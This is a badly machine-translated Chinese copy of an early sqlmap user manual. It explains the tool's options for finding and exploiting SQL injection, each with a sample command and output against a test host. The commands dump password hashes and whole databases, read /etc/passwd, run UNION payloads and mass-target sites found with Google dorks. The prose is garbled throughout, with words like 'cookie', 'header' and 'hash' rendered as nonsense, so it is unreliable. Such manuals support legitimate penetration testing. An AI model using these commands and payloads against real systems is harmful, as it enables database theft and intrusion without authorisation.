1 。  介绍
1.1 要求
1.2 网应用情节
1.3 SQL 射入技术
1.4 特点
1.5 下载和更新sqlmap
1.6 执照

2 。 用法
2.1 帮助
2.2 目标URL
2.3 目标URL 和verbosity
2.4 URL 参量
2.5 Google dork
2.6 HTTP 方法: 得到或张贴
2.7 张贴的数据串
2.8 HTTP 曲奇饼倒栽跳水
2.9 HTTP 用户代理倒栽跳水
2.10 任意HTTP 用户代理倒栽跳水
2.11 HTTP 认证
2.12 HTTP 代理人
2.13 串比赛
2.14 遥远的数据库管理系统
2.15 广泛的DBMS 指印
2.16 横幅
2.17 当前的用户
2.18 当前的数据库
2.19 数据库用户
2.20 数据库用户密码hashes
2.21 可利用的数据库
2.22 数据库桌
2.23 数据库桌专栏
2.24 转储数据库制表词条
2.25 转储整个DBMS
2.26 检索文件内容
2.27 处理您自己的表示
2.28 检查联合询问SQL 射入
2.29 利用联合询问SQL 射入
2.30 估计的到达时间
2.31 之外所有数据被检索在文本文件
2.32 简历询问价值从文本文件

3 。 参考

4 。 接触

--------------------------------------------------------------------------------

1 。 介绍
sqlmap 是一个自动SQL 射入工具。它是可胜任执行一个广泛的数据库管理系统后端指印, 检索遥远的DBMS 数据库, usernames, 桌, 专栏, 列举整个DBMS, 读了系统文件和利用导致SQL 射入弱点的网应用编程的安全漏洞。

有许多其它SQL 射入工具在网, 但我不能发现任何人适合所有我的需要因此我感到需要在我的渗透测试期间给成功地写我自己的工具测试, 辨认和利用网应用的SQL 射入在安全上的弱点。

1.1 要求
sqlmap 整个地被开发在 Python, 一个动态面向对象的被解释的编程语言。这由操作系统使工具独立。sqlmap 实际上依靠只自由地是下载的从它的正式站点 的Python 口译员。做它更加容易, 许多GNU/Linux 发行从箱子出来以Python 包裹preinstalled 并且其它Unices 提供这个解释语言precompiled 入他们的包裹格式。如果您使用窗口或MacOS x 那里存在precompiled 设定准备好正式可执行在Python 站点。

1.2 网应用情节
我们说您验核网应用的安全并且您发现了接受动态用户提供价值对它得到并且/或者张贴参量的一个网页。您现在想要测试如果这些是脆弱的对SQL 射入弱点, 如果那样, 剥削他们检索同样多信息尽可能在网应用的数据库管理系统外面甚至能读任意文件从数据库管理系统计算机

如果网页是:

http://192.168.1.47/page.php?id=1&cat=2

假定:

http://192.168.1.47/page.php?id=1+AND+1=1&cat=2

和原始一个一样是页和:

http://192.168.1.47/page.php?id=1+AND+1=2&cat=2

与它意味的原始的产品不同我们是在一个SQL 射入弱点前面在 id 意味网应用 index.php 页的得到参量IDS/IPS, 没有网应用防火墙, 没有参数值sanitization 不执行在服务器边亦不PHP 口译员边。

这是相当共同的缺点在动态美满的网应用并且它不取决于遥远的DBMS 或在网应用语言, 这是程序员代码的安全漏洞。 开放网应用安全项目 最近对在他们的 OWASP 名列前茅十 这个弱点估计作为 最共同 和最重要的网应用弱点, 其次唯一 十字架站点Scripting 问题。

回到情节, statemenet SELECT 入大概 index.php 有句法相似与以下SQL 询问在冒充的PHP:
$query = "SELECT <column(s) name> FROM <table name> WHERE id=" . $_REQUEST['id'];

如此, 如同您能看, 添附其他syntatically 合法的SQL 情况在a (之后合法的) 价值为 id 这样的情况将发生当网应用执行询问在附上DBMS, 所以情况 id=1 AND 1=1 和原物一样是合法的(真实) 并且退回页, 以同样内容和没有任一个古怪的SQL 错误信息。

更多, 在这个例子它会是还可能添附, 不仅一个或更多合法的SQL condition(s), 而且其他完全SQL 询问, 请求某事象在伪码 id=1; ANOTHER SQL QUERY--

即然我们发现了这个SQL 射入脆弱的参量, 我们能利用它操作 id 参数值。

通过原始的地址, http://192.168.1.47/page.php?id=1&cat=2 对sqlmap, 工具自动地将辨认脆弱的参量(id 在这个情节) 并且将添附syntatically 合法的SQL 声明串包含 SELECT 次级声明或我们想要检索产品的其他声明。由做比较根据超文字标记语言页hashes, 串或每被请求的页与原始一个, sqlmap 正则表达式比赛确定声明字符的产品价值将由字符, 这个技术作为盲目的SQL 射入的 名字 和很好被描述在许多文件里, 检查参考部分有些技术文章。

1.3 SQL 射入技术
与二等分算法被实施在sqlmap 执行这攻击以 盲目的SQL 射入著名 这达到以大约七个HTTP 请求每产品的各个字符, 但如果网应用页代码解析声明的产品 SELECT 入a for 或相似的周期以便询问产品的各条线打印在页内容, 我们是在一个 inband SQL 射入弱点, 亦称 联合询问SQL 射入 弱点前面。我强烈劝告您跑至少一旦sqlmap 以 --union-check 命令行选择到测试如此和如果用途 --union-use 命令行选择利用这个弱点因为它保存得很多时间并且它不衡量在网络服务器记录文件下以上百HTTP 请求。

1.4 特点
这主要特点名单被实施在sqlmap:
完全支持为 MySQL、 Oracle、 PostgreSQL 和 微软SQL 服务器 数据库管理系统后端。除这些四以外DBMS, sqlmap 可能并且辨认微软通入、DB2 、Informix 和Sybase;
广泛的数据库管理系统后端指印 根据:
Inband DBMS 错误信息
DBMS 横幅解析
DBMS 起作用产品比较
DBMS 具体特点 譬如MySQL 评论射入
被动SQL 射入fuzzing
它充分支持二个SQL 射入技术:
盲目的SQL 射入, 亦称 推断SQL 射入
Inband SQL 射入, 亦称 联合询问SQL 射入
并且它部份地支持 错误基于的SQL 射入 作为传染媒介的当中一个为数据库管理系统指印;
它自动地测试所有被提供 得到, 张贴, 曲奇饼 和 用户代理 参量发现动态那些。在这些它测试和自动地查出那个通过SQL 射入影响。而且各个动态参量被测试为 数字, 选拔引证串, 加倍引证串 和所有这些三型以一个和二个托架发现哪些是合法的句法进行进一步射入与;
它是可能提供唯一的parameter(s) 的名字, 您想要执行测试并且用途为射入, 是他们 得到, 张贴, 曲奇饼 参量;
SQL 射入测试和侦查不取决于网应用数据库管理系统后端。SQL 射入剥削和询问句法明显地取决于网应用数据库管理系统后端;
它认可合法的询问由假那些根据 HTML 产品页hashes 比较 , 但它是还可能选择执行这样的测试根据 串匹配;
HTTP 请求可能执行在HTTP 方法 GET 和 POST (缺省: GET);
它是可能执行HTTP 请求使用HTTP User-Agent 倒栽跳水串从文本文件任意地被挑选;
它是可能提供HTTP Cookie 倒栽跳水串, 有用当网应用要求认证根据曲奇饼并且您有这样数据;
它是可能提供一个匿名HTTP 代理人地址和口岸对通行证由HTTP 请求对目标URL;
它是可能提供遥远的DBMS 后端如果您已经知道它做sqlmap 之外某个时候指印它;
它支持各种各样的命令行选择得到 数据库管理系统横幅, 当前的DBMS 用户, 当前的DBMS 数据库, 列举用户, 密码hashes 的用户, 数据库, 桌, 专栏, 转储制表词条, 倾销整个DBMS, 检索一个任意文件内容(如果遥远的DBMS 是MySQL) 并且提供您自己的SQL 精选的声明被评估;
它是可能自动地做sqlmap 查出如果受影响的参量通过联合询问 SQL 射入并且影响 并且, 在这样的案件, 使用它利用弱点;
它是可能 排除系统数据库当列举桌, 有用当倾销整个DBMS 数据库桌词条并且您想要跳缺省DBMS 数据;
它是可能观看 估计的到达时间 为各询问产品, 被更新在实时当进行SQL 射入攻击;
支持增加产品 消息的verbosity 水平;
它是可能保存询问执行和他们的被检索的价值在实时在产品文本文件和 继续射入恢复从这样的文件在第二次;
PHP 设置 magic_quotes_gpc 旁路由输入每询问串, 在单引号之间, 以 CHAR (或相似) DBMS 具体作用。

1.5 下载和更新sqlmap
这个指南是sqlmap 的一部分。您应该接受了它当您下载了sqlmap 。

sqlmap 可能被下载从它的 SourceForge 文件名单页 和发展发行从可能冲浪以浏览器 或 被获取对下载sqlmap 的它的SourceForge 颠覆贮藏库:
$ svn checkout sqlmap
任何方式您下载了sqlmap, 奔跑 svn update 在它的根目录(有主文件的地方 sqlmap.py) 与SVN 贮藏库同步检索它的原始代码更新在您运作的拷贝保证, 您跑节目的最新的版本。

关于SourceForge 颠覆贮藏库用法的详细信息可能被发现 这里。

1.6 执照
sqlmap 被发布在 公众执照v2 条件下。

2 。 用法
唯一的二个可能的必须的参量是:
- u 或 -- url: 选拔目标URL 测试, 查出和注射对于SQL 射入缺点
- g: 测试所有Google 结果寻找一位具体Google dork

这些是唯一的二命令行参量排除eachother 。

跟随sqlmap 命令行参量和价值被解释在细节以一个例子为各个参量。

2.1 帮助

$ python sqlmap.py -h

sqlmap/X.Y coded by inquis <>
and belch <>

Usage: sqlmap.py [options] {-u <URL> | -g <google dork>}

Options:
-h, --help show this help message and exit
-u URL, --url=URL target url
-p TESTPARAMETER specify the testable parameter(s)
-g GOOGLEDORK rather than providing a target url, let Google return
target hosts as result of your Google dork expression
--method=HTTPMETHOD HTTP method, GET or POST (default: GET)
--data=DATA data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--user-agent=UAGENT HTTP User-Agent header
-a USERAGENTSFILE load a random HTTP User-Agent header from file
--basic-auth=BAUTH HTTP Basic Authentication, value: 'username:password'
--digest-auth=DAUTH HTTP Digest Authentication, value: 'username:password'
--proxy=PROXY use a proxy to connect to the target url
--string=STRING string to match in page when the query is valid
--remote-dbms=DBMS perform checks only for this specific DBMS
-f, --fingerprint perform an exaustive database fingerprint
-b, --banner get DBMS banner
--current-user get current DBMS user
--current-db get current DBMS name
--users get DBMS users
--passwords get DBMS users password hashes
--dbs get available databases
--tables get database tables (optional: -D)
--columns get table columns (required: -T and -D)
--dump dump database table entries (required: -T and -D
optional: -C)
--dump-all dump all databases tables entries
--file=FILENAME read a specific file content
-e EXPRESSION expression to evaluate
--union-check check for UNION SELECT statement
--union-use use the UNION SELECT statement to retrieve the queries
output
-D DB, --database=DB database to enumerate
-T TBL, --table=TBL database table to enumerate
-C COL, --column=COL database table column to enumerate
--exclude-sysdbs exclude system databases when enumerating tables
--eta retrieve each query length and calculate the estimated
time of arrival
-v VERBOSE set verbosity level (0-2), default is 0
-o OUTPUTFILE save all data retrieved on a text file
-r, --resume resume queries value from a text file
2.2 目标URL
命令行选择: -u 或 --url

跑sqlmap 在唯一目标URL:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2"

remote DBMS: MySQL >= 5.0.0
2.3 目标URL 和verbosity
命令行选择: -v

絮絮叨叨的选择可能使用设置产品消息的verbosity 水平。它的价值可能实际上是 0, 1 或 2。它的价值是 0 因为sqlmap 不会打印任何新闻消息对标准产品, 只有询问产品和最后警告和错误如果他们发生。
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1

[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:26] [INFO] url is stable
[hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:26] [INFO] GET parameter 'id' is dynamic
[hh:mm:26] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:26] [INFO] testing MySQL
[hh:mm:26] [INFO] query: CONCAT('5', '5')
[hh:mm:26] [INFO] retrieved: 55
[hh:mm:26] [INFO] performed 20 queries in 0 seconds
[hh:mm:26] [INFO] confirming MySQL
[hh:mm:26] [INFO] query: LENGTH('5')
[hh:mm:26] [INFO] retrieved: 1
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
[hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:26] [INFO] retrieved: 5
[hh:mm:26] [INFO] performed 13 queries in 0 seconds
remote DBMS: MySQL >= 5.0.0
2.4 URL 参量
命令行选择: -p

sqlmap 测试全部得到并且岗位为dynamicity 和SQL 射入弱点提供了参量, 但它手工是可能的对specificy 您要sqlmap 执行对逗号的测试separeted 为了未参加dynamicity 测试和执行SQL 射入测试的URL parameter(s), 侦查和剥削只在被提供的parameter(s):
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"

[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:18] [INFO] url is stable
[hh:mm:18] [INFO] testing sql injection on parameter 'id'
[hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id'
[hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id'
[hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable
[...]
或如果您想要提供超过一个参量, 例如:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id"
2.5 Google dork
命令行选择: -g

而不是提供目标URL 它是还可能执行对参量的测试在地址由Google dork 查寻返回。

这个选择做sqlmap 与搜索引擎谈判它的会议曲奇饼能执行查寻, 那么sqlmap 将检索Google 第一个100 个结果为表示与得到参量问您的Google dork 如果您想要测试和得到SQL 射入好处在各可能的受影响的URL 。
$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:39] [INFO] sqlmap got 'PREF=ID=xxxxxxxxxxxxxxxx:TM=yyyyyyyyyy:LM=zzzzzzzzzz:S=wwwwwwwwwwwwwwww' as session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts
[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this url? [y/N/q] n
[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this url? [y/N/q] n
[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
2.6 HTTP 方法: 得到或张贴
命令行选择: --method

HTTP 使用的方法执行HTTP 请求是 GET, 但它是可能改变它在命令行 --method 参数值:
$ python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
这样参量和他们的价值将由HTTP POST 方法通过, 最终包括那个脆弱以SQL 询问被注射入(id 在我们的情节) 。

2.7 张贴的数据串
命令行选择: --data

这个命令行选择被使用指定您想要送通过HTTP 岗位方法执行测试的数据串。读段上面为进一步细节。

2.8 HTTP 曲奇饼倒栽跳水
命令行选择: --cookie

这个特点是有用的当, 例如, 网应用要求认证根据曲奇饼并且您有这样数据。步经历在这种情况下是相似对:

在Firefox 浏览器注册在网认证形式当倾销URL 请求以TamperData 浏览器引伸。在引伸的水平的箱子选择您的认证交易然后在左箱子在点击之下与按钮右键在 Cookie 价值, 然后点击 Copy。

现在去回到您的壳和跑sqlmap:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE"
当您使用这个命令行选择sqlmap 将测试和, 如果脆弱, 并且利用SQL 射入在 Cookie 倒栽跳水。

2.9 HTTP 用户代理倒栽跳水
命令行选择: --user-agent

由缺省sqlmap 执行HTTP 请求提供以下HTTP 用户代理倒栽跳水:
sqlmap/VERSION (http://sqlmap.sourceforge.net)
它是可能改变它在命令行 --user-agent 参数值。例如:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"
当您使用这个命令行选择sqlmap 将测试和, 如果脆弱, 并且利用SQL 射入在 User-Agent 倒栽跳水。

2.10 任意HTTP 用户代理倒栽跳水
命令行选择: -a

由缺省sqlmap 执行HTTP 请求提供以下HTTP 用户代理倒栽跳水:
sqlmap/VERSION (http://sqlmap.sourceforge.net)
提供文本文件, ./txt/user-agents.txt 或其他文件包含至少一个用户代理名单, 对 -a 命令行选择, sqlmap 将选择一个任意用户代理从文件和将使用它为所有HTTP 请求对URL:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -a "./txt/user-agents.txt"

[hh:mm:41] [INFO] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:41] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:41] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:42] [INFO] url is stable
[...]
2.11 HTTP 认证
命令行选择: --basic-auth 并且 --digest-auth

这些选择可能使用指定哪个认证方法网络服务器实施并且合法的证件被用于perfom 所有HTTP 请求对目标URL:

在 HTTP 基本验证的情况下 跑:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --basic-auth "username:password"
否则如果 HTTP 文摘认证 是被实施的奔跑:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --digest-auth "username:password"
2.12 HTTP 代理人
命令行选择: --proxy

它是可能提供一个匿名HTTP 代理人地址对通行证由所有请求对目标URL:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://url:port"
而不是使用一个唯一匿名HTTP 代理服务系统通过, 您能配置 突岩客户 与 Privoxy 一起 在您的机器象解释在 突岩客户指南 那么跑sqlmap 如下:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"
注意, 8118 是缺省Privoxy 口岸, 适应您的设置。

2.13 串起比赛
命令行选择: --string

一次真实的询问的分别由一假一个(地下室概念为标准盲目的SQL 射入攻击) 完成被注射的页产品MD5 回锅碎肉与原始的没有被注射的页产品比较MD5 在sqlmap. sqlmap 使成为可能手工提供总是存在 在 真实的被注射的询问产品页的串, 并且它不是在假一个。这样的信息是容易对用户简单地检索, 设法注射在受影响的URL 参量无效价值和原始的产品与错误产品比较辨认哪串是在真实的页唯一。这样分别不会根据串比赛和没有页回锅碎肉比较:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE"
注意当这个命令行选择被指定, sqlmap 将未参加URL 稳定测试并且认为这个选择根本当您必须处理内容改变, 例如, 在每个的页刷新。

2.14 遥远的数据库管理系统
命令行选择: --remote-dbms

sqlmap 自动地查出遥远的数据库manangement 系统后端网应用。在充分支持的DBMS 是 MySQL、 Oracle、 PostgreSQL 和 微软SQL 服务器之时。它是可能手工提供遥远的DBMS 从命令行。如果您提供这样的选择, sqlmap 不会执行任何DBMS 指印有例外使MySQL 只辨认如果这是MySQL < 5.0 或MySQL > = 5.0 。并且避免您能改为提供或的这 MySQL 4 检查 MySQL 5。

注意这个选择不是必须的并且它是更好如果您使用它只如果您对遥远的DBMS 是绝对肯定的。如果您不知道它, 让sqlmap 辨认它为您。

如果您提供 --fingerprint 与一起 --remote-dbms, sqlmap 只将执行广泛的指印为指定的数据库管理系统, 如下读了段为细节对此。

2.15 广泛的DBMS 指印
命令行选择: -f 或 --fingerprint

网应用数据库管理系统后端指印执行请求退回已知的静态价值的数据库具体作用。由这价值与回归价值比较它是可能辨认如果遥远的数据库有效地是那个节目被测试为。在第一个指印检查sqlmap 认可遥远的数据库和执行剩余询问以它的具体句法在数据库建筑学的极限内。如果您想要执行一个更加准确的数据库指印您能提供 --fingerprint 选择:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f

[...]
[hh:mm:31] [INFO] testing MySQL
[hh:mm:31] [INFO] query: CONCAT('4', '4')
[hh:mm:31] [INFO] retrieved: 44
[hh:mm:31] [INFO] performed 20 queries in 0 seconds
[hh:mm:31] [INFO] confirming MySQL
[hh:mm:31] [INFO] query: LENGTH('4')
[hh:mm:31] [INFO] retrieved: 1
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:31] [INFO] retrieved: 4
[hh:mm:31] [INFO] performed 13 queries in 0 seconds
[hh:mm:31] [INFO] query: DATABASE()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:31] [INFO] performed 48 queries in 0 seconds
[hh:mm:31] [INFO] query: SCHEMA()
[hh:mm:31] [INFO] retrieved: testdb
[hh:mm:32] [INFO] performed 48 queries in 0 seconds
[hh:mm:32] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:32] [INFO] retrieved:
[hh:mm:32] [INFO] performed 6 queries in 0 seconds
[hh:mm:32] [INFO] executing MySQL comment injection fingerprint
[hh:mm:32] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
comment injection fingerprint: MySQL 5.0.38
html error message fingerprint: MySQL

如果您想要一个更加准确数据库指印, 并且根据横幅解析, 您能并且提供 -b 或 --banner 选择:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f -b

[...]
2.16 横幅
命令行选择: -b 或 --banner

大多数据库有一个作用或显示数据库managemet 系统版本细节的一个系统变量。通常这个作用是 version() 或系统变量叫 @@version。

$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b

banner: '5.0.38-Ubuntu_0ubuntu1.1-log'

2.17 当前的用户
命令行选择: --current-user

它是可能列举有效地执行询问在数据库从网应用数据库管理系统用户的名字:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-user

current user:

2.18 当前的数据库
命令行选择: --current-db

它是可能列举网应用被连接对数据库的名字:

$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db

current database: 'testdb'

2.19 数据库用户
命令行选择: --users

它是可能列举数据库管理系统用户名单:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users

database management system users [5]:

2.20 数据库用户密码hashes
命令行选择: --passwords

它是可能列举密码hashes 的数据库管理系统用户名单:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords

database management system users password hashes:

2.21 可利用的数据库
命令行选择: --dbs

它是可能列举数据库名单:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs

available databases [3]:
[*] information_schema
[*] mysql
[*] testdb
2.22 数据库桌
命令行选择: --tables

它是可能列举桌名单为一个具体数据库或为整个数据库manangement 系统(在MySQL 、PostgreSQL 和Oracle) 。选择 -D 可能使用指定数据库名称。

列举, 例如, 数据库桌 information_schema 跑以下命令:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema"

Database: information_schema
[16 tables]

2.23 数据库桌专栏
命令行选择: --columns

它是可能列举一张具体数据库桌的专栏名单。这个特点依靠 -T 指定桌名字和 -D 指定数据库名称。

列举, 例如, 桌 user 专栏在数据库 mysql 跑以下命令:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql"

Database: mysql
Table: user
[37 columns]

2.24 倾销数据库桌词条
命令行选择: --dump

它是可能列举具体数据库桌专栏词条。这个特点依靠 -T 指定桌名字和 -D 指定数据库名称。它任意地是可能提供具体专栏逗号被分离的名单以 -C 选择。

列举, 例如, 数据库桌词条 users testdb 跑以下命令:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump -T "users" -D "testdb"

Database: testdb
Table: users
[3 entries]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 1 | luther | blisset |
| 3 | fluffy | bunny |
| 2 | wu | ming |
+----+--------+---------+
如果您想要列举唯一在专栏之内词条 id 和 surname 同样数据库桌(testdb.users 跑以下命令:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump -T "users" -D "testdb" -C "id,surname"

Database: testdb
Table: users
[3 entries]
+----+---------+
| id | surname |
+----+---------+
| 1 | blisset |
| 2 | ming |
| 3 | bunny |
+----+---------+
注意sqlmap 并且存放为各张桌被倾销的词条在CSV 格式在文本文件入' /csv/' 目录:
$ cat ./csv/192.168.1.47/testdb/users.csv
"id","surname"
"1","blisset"
"2","ming"
"3","bunny"
2.25 倾销整个DBMS
命令行选择: --dump-all

它是可能列举整个DBMS 数据: 所有数据库桌词条。
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump-all
排除系统数据库
如果您想要排除DBMS 缺省系统数据库并且添附 --exclude-sysdbs 对命令行如下:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --dump-all --exclude-sysdbs

[...]
[hh:mm:54] [INFO] fetching database names
[...]
[hh:mm:55] [INFO] skipping system database 'information_schema'
[hh:mm:55] [INFO] skipping system database 'mysql'
[hh:mm:55] [INFO] fetching number of tables for database 'testdb'
Database: testdb
Table: users
[3 entries]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 1 | luther | blisset |
| 2 | wu | ming |
| 3 | fluffy | bunny |
+----+--------+---------+
2.26 检索文件内容
命令行选择: --file

它是可能读一个具体文件的内容从遥远的数据库系统文件系统如果有DBMS 作用进行这样的行动并且当前的用户得以进入对它的, 例如MySQL 有 LOAD_FILE() 作用。

如果您想要检索奔跑内容 /etc/passwd 以下命令:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file /etc/passwd

/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
2.27 处理您自己的表示
命令行选择: -e

它是可能提供您自己的SQL 询问以 -e 参量被执行。例如, 如果您想要得到' 根' 用户名的密码回锅碎肉在一个遥远的MySQL 数据库您能跑:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"

[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1'
[hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1
[hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY
[hh:mm:19] [INFO] performed 118 queries in 0 seconds
SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY'
2.28 检查联合询问SQL 射入
命令行选择: --union-check

它是可能检查如果目标URL 由一个( inband SQL injection 读以上为细节) 弱点影响由跑:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check

valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2'
目标URL 参量也许 id 通过inband SQL 射入, 亦称联合询问SQL 射入并且在这种情况下影响。如果这个弱点是可开采的您能使用它保存很多时间和请求得到任何询问输出。读下段为细节。

2.29 利用联合询问SQL 射入
命令行选择: --union-use

提供 --union-use 参量, sqlmap 首先将检查如果目标URL 由一个inband SQL 射入()--union-check弱点影响然后, 如果它是脆弱和可开采的, 它将触发这个弱点检索您的询问产品。

例如如果您想要利用联合询问SQL 射入检索DBMS 横幅, 以只一个唯一HTTP 请求跑以下命令:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner

[...]
[hh:mm:24] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:24] [INFO] confirming inband sql injection on parameter 'id'
[...]
[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2
[hh:mm:24] [INFO] performed 1 queries in 0 seconds
banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
如同您能看, 在我们的情节, SQL 射入脆弱的参量(id) 由窗帘和inband SQL 射入弱点影响。

2.30 估计的到达时间
命令行选择: --eta

如果您要sqlmap 计算并且显示估计的到达时间各次询问输出在实时当进行SQL 射入攻击, 请提供 --eta 命令行选择。

例如, 我们得到遥远的DBMS 横幅计算ETA:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --banner --eta

37% [====================> ] 9/26 ETA 00:01
然后:
100% [==========================================================] 26/26
banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
2.31 之外所有数据被检索在文本文件
命令行选择: -o

它是可能采伐所有询问和他们的产品在文本文件当执行任何请求, 在盲目的SQL 射入和inband SQL 射入。这是有用的如果您必须停止射入和恢复它在某个时候以后以 --resume 选择。

例如我们想要检索遥远的DBMS 横幅和保存它的价值在文本文件:
$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log"

[...]
[hh:mm:09] [INFO] fetching banner
[hh:mm:09] [INFO] query: VERSION()
[hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log
[hh:mm:11] [INFO] performed 139 queries in 1 seconds
banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
现在如果您看一看在文件 sqlmap.log 您将看某事象这样:
$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
, '6')][66

http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6

http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.38-Ubuntu_0ubuntu1.1-log

如同您能看, 所有询问执行和他们的产品被采伐了对文件。

2.32 简历询问价值从文本文件
命令行选择: -r 或 --resume

这个选择取决于采伐的功能(-o) 因为您必须提供文本文件对简历询问从。

假设例如您有入文件 sqlmap.log 某事象这样:
$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
, '6')][66

http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6

